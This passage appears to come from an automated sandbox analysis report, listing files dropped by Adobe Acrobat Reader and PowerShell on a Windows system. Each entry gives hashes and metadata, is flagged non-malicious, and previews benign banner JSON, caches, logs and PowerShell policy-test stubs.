Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.341161852908453
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfFldPeUkwRe9:YvXKXFAMUe4WsdTeOcAGz8Ukee9
MD5:	4FB58D2EF63B6D1C510EBF9673B6065C
SHA1:	7066B7F66DE9F6B37F3E1B8EFF1442C5ADFB26ED
SHA-256:	94E78CB0B5524A356EF7631742CBC96630223172262C2AEA2849A7B4B425F01C
SHA-512:	F2D772BA558E11765907B5C908575A26DBF5EB85468A1A3A96B7DB0FC53D6CA91BD4995CEA2126CFCE4CC4A748BA0C22C0ECC7DBF9D72BD332D1AE93A57812E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349091771304141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfzdPeUkwRe9:YvXKXFAMUe4WsdTeOcAGb8Ukee9
MD5:	6E2D00BBA4329796F7664F0B589C401F
SHA1:	69B80B96C12C8F969B9129497F02BFD68465F443
SHA-256:	D1012E66E3606118A265500852E2EC66D689B671077E7D10DE35BEB48E6AC6E2
SHA-512:	F001A1B829BF29B1630CDCAED1E329897C2FF96D098C94E37155FE22B17D2939D1C088F20403B4199D781C4B13962A5B97BDD6BEEB6271DFCDA991F22D3283F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330058889437218
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfYdPeUkwRe9:YvXKXFAMUe4WsdTeOcAGg8Ukee9
MD5:	BCFECDF500D2C18A65B9BF4C1C995074
SHA1:	0B9258AA77C569AE4A30C985622B6FF517F01196
SHA-256:	272ABB7FA02CE7F785C2792DDD4BDF0E068C0405B916591D0AAE4350C9E16C18
SHA-512:	6A9B8C0C31D2D645ADDB694269F13B2CAB047EB45D865697D792963D3103D0FAE9A768E990D88EB5547F394DAE538AFDE7B0C408CC741D3C59ABB1E34D7F18B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.316320766527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJf+dPeUkwRe9:YvXKXFAMUe4WsdTeOcAG28Ukee9
MD5:	40A4EAC69DAADC6C3397B7DC20556383
SHA1:	F813793229E9845D2697578BDD7907FD81B2BB9D
SHA-256:	C5FA1BDA0AE5F007588FA0205EE84C27D25901D26CC546DFD1D6EB5790F71670
SHA-512:	EE55527C9552515C9B68E04A05CF2F23AA2A4219187843C436F17392BCAA29B33493CA2A3DB3F0BDB6628F04EE2EAD8E59B4D0A851979A68A35AE30ECACDEA92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.31339939680567
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfbPtdPeUkwRe9:YvXKXFAMUe4WsdTeOcAGDV8Ukee9
MD5:	1CAE3102FA8CC9F51902913A26349ACA
SHA1:	94EBD67D8B24CD7D1FE09C4902EF87E3D7D2802E
SHA-256:	581499983FDCEB5A26E5F5A316510DB1629954C0D7E1D9AA1C1A304FC70BBD08
SHA-512:	E2CC7EECA16E453BD75640B0C83211F1739E7770BA7AFB4768CDCBF35006276ADB458C33AA879F7F17C6CCD9E66138DE13D634636D16D2F9855119E50153846A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3181525287490174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJf21rPeUkwRe9:YvXKXFAMUe4WsdTeOcAG+16Ukee9
MD5:	B35FFA34525640A29E03BD8EEA2670B4
SHA1:	D305FA6105C6F9670B3BE83F6C98AA9A290B3F48
SHA-256:	F5F4DC626B3460465927E4E73153B8F46C26FE7AA132BC05D6D7E93D9D59C2AA
SHA-512:	8CCF4A4BA9147DD6DE1378EE4DA111F7E350DC1B0B6E1C29BB0A558A1F8CBDA2FCB1F410E0E1A2C9040FF785E83E852395576196816EB2004ABE844211CC5ECB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671727760292331
Encrypted:	false
SSDEEP:	24:Yv6Xse4WmeOclamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSs:YvJ5VeDZBgkDMUJUAh8cvMs
MD5:	51A36AD0CCDC2A248D2D02D4F6D6AB4A
SHA1:	2213EEF72C6555422C5677C375A9B16B93C5F35E
SHA-256:	FB0FCECB21D2638D6B0CFD190FBF54B94999F827A334580BA3C56BE4EF97C5E8
SHA-512:	7DC3B27A0DC0A5C78CB60BE8E3200C46B6D013AA18BFB76E52BE176A43FF99AB06E21EFE5EF5EEFDA2C727409CCD5788DAC6FA2527F332B12CAF0DAD18DCD217
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.292757041284797
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJfshHHrPeUkwRe9:YvXKXFAMUe4WsdTeOcAGUUUkee9
MD5:	13241682B8DAD543A75722B701F508D2
SHA1:	87A010185CFFEA597FBA5B10697E7FB68436F3DF
SHA-256:	BD585A7976EB3AF2FE3D828A8F97A7FBF7F97FF01771FF4ADD430F5DCC644D5E
SHA-512:	C02B8FC56A5CA94327F48BEE9B7D99CC07B424A156B3886DBFE100AD36C215121385FCFC143FE0848484817DDF6CF14699137E3DAF8868EDB07E970E0A89CE88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.302872000990458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGSAMUxI4nWsGiIPEeOF0YUt/oAvJTqgFCrPeUkwRe9:YvXKXFAMUe4WsdTeOcAGTq16Ukee9
MD5:	56A426C37E8A8C6DC1656F00041D1F9C
SHA1:	416A979F22F2236FD848BAC17F38E3F7372987FB
SHA-256:	D193354AC440E408B3CBE6AF6EB53278CD9999F7FF1766D85F70F159CBB7B777
SHA-512:	47C3B300128C010321E304A10B226568435CBF5FFB26F647410E85BBE0DB12E4C57DD14CC9D665ED2790B8F9A26A7F8242B1E3648DE09CBB3D76A7BE56E6B316
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91ba7d81-97d8-4000-8bdf-b82b42f64b45","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728202247,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1426569887044975
Encrypted:	false
SSDEEP:	48:YASyz3G2xgChl7WSgWD++fY2laU9ZQ3cwBlr6KMr4wh9jCDj:KPogC4Y++Q2W3Zle/u
MD5:	9A89E319770D028A8D5A4254725E2F41
SHA1:	BE11BED6B342174768470945DAC9C0D9520B8724
SHA-256:	0ED4178778E9003222120A5ED30C4CB138E8D8AF422214401067C3EAC0253514
SHA-512:	3DED841A02428D87B6810C13D3F79F77F4F30C140D20FF1DB4A14CA35B237C529F1D67F5B5573DB21B08C9AA1842142EC0EC9A7663D4BE56106098B56DD3E702
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"788b793bba11294372073384d7cf48ff","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557103000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b0b146785f5f4849418219360ca76a94","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557103000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2dfe6d8991fef96ab4ceaed0cffc0152","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557103000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"80591a7fed6373ce9f2ba2e2d0cc81c0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557103000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"acecebec7cbb94b7e6c136bc673b91ab","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557103000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9a44704ec7d6994108161ae6b101af78","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.454517565395658
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsfplNV:lNVmsw3SHtbDbPe0K3+fDZdg
MD5:	04FFA39D78F3AAFDF3BD79A9D73E9192
SHA1:	B864E340EA4EECE48EFE32F1A17879D1F28E080C
SHA-256:	50696744891740F19DB7369109DA657A8AB1E73E771D817D3F709509BA303238
SHA-512:	4579AE0A8A48D81A968F8661BB3F7FC4D2416FF0D6060F2E9CC4C0D83B4C6854DE9ED4747252F73D3985AFF162204003CEA5182D1FBC8CB1BBF27B84A366DF0E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9576932348017966
Encrypted:	false
SSDEEP:	48:7MjrvrBd6dHtbGIbPe0K3+fDy2dsf8TqFl2GL7msG:763SHtbDbPe0K3+fDZdFKVmsG
MD5:	23BD259B3B71DA89547641456550C2D1
SHA1:	592C6E9587A3F79F2C6150FDB213AA618E8B1109
SHA-256:	613CC2EB5CF9BAD509AD89F07743066AF34B371457A05C1838482C7666E0E4DC
SHA-512:	A661840C6F966199C56FE35BF8AE1D91EB69F2EC5EBAFD6C52D22C0B9FD45A28147C7C7B4BBB92772FC63379B30582E01A6DEF92D5363D1C5F8E99B8E3FD81E5
Malicious:	false
Preview:	.... .c.....]./.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgsTU+4iixooPIJK4VcFwO4tVpCnDZzYyu:6a6TZ44ADEsTU++w84ewP/C9zK
MD5:	578D6C100E5D81430A91FC270EAF0D71
SHA1:	17ECA448E5B69468182D2E4F6FEB3ECB8BA0E036
SHA-256:	3E333491299A38D6FD622D4CE0170D7A6F7606CA6173A193C6C90D41D6A889B8
SHA-512:	DC713F07E6568199FA44F29B9A2238D91EA5D01E2ABE181EDA15DFCB3230E1FDD5176C599BC091C163E037C9AB624F916E0E7E2626377DD5DA213BA1372197C0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI8e535.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEF8Yle:Qw946cPbiOxDlbYnuRK+bDjw
MD5:	156E03EAB8A2B25719CFF3F6EE1CF281
SHA1:	F618D187F394CC00495D1B6514C4602F5D6E3605
SHA-256:	41BB4383929EDB3FFC5B2C52B397E766F292A0CA786F62DD8756A8C2927EFF41
SHA-512:	9438C0040DF20C12E9B712E24B3A094C65B58B994434F87996962091115B6D4E0023D9FCB583BBFA1BB78699246BEE37867203C9A52B56DB3EA946A9D0AC60CE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.0.6.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p2jpw4dr.0vh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_twtjh3ge.5ks.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-06-09-943.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350854651723405
Encrypted:	false
SSDEEP:	384:FECNxLsPPkpnNs1ACCZ4s5NYkjO72a+VqBe8Su83GwmVwZBWXz2R2DunxxOXVty/:mPRg
MD5:	04830C8A1A904CDAD1627AC9EB7285F3
SHA1:	96BD4C1A08260FA49DFC8DCE5494DBC8E5C1EEEA
SHA-256:	633EC7789BDEB32B5A909F09221B1627268358021E461C34A54346AA7842BE71
SHA-512:	2BB9CB872D7B90AD749ACE6E0E878E1233A0FEBC569D390D00907001F6F46790780F5F35B513841ED15163AD5BA390B300ACE3C385A332ABF747DF3158A459EF
Malicious:	false
Preview:	SessionID=4225b42a-1937-4177-9fb5-ade4e2a24ef9.1736550369967 Timestamp=2025-01-10T18:06:09:967-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4225b42a-1937-4177-9fb5-ade4e2a24ef9.1736550369967 Timestamp=2025-01-10T18:06:09:967-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4225b42a-1937-4177-9fb5-ade4e2a24ef9.1736550369967 Timestamp=2025-01-10T18:06:09:967-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4225b42a-1937-4177-9fb5-ade4e2a24ef9.1736550369967 Timestamp=2025-01-10T18:06:09:967-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4225b42a-1937-4177-9fb5-ade4e2a24ef9.1736550369967 Timestamp=2025-01-10T18:06:09:968-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.415317605421312
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR4s:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRd
MD5:	8136DC2A89421461FCAD689B5C03B135
SHA1:	9BF59049F6334F7847172A899342E025FE0C15F3
SHA-256:	02DD7003375F30EAD47438505F177A7B8210C0116F2DFEA2339A38ACB2D23C67
SHA-512:	D1E28ABE5EC94DC3E3A97A69A3FF9944BA31005EA9DE4A4C95AB84C089EB1E0FF9C9D35B87B5D4D957491E7DE52B8DB8FB78E3EC4E2996D8C67F0D435DDF8E11
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program 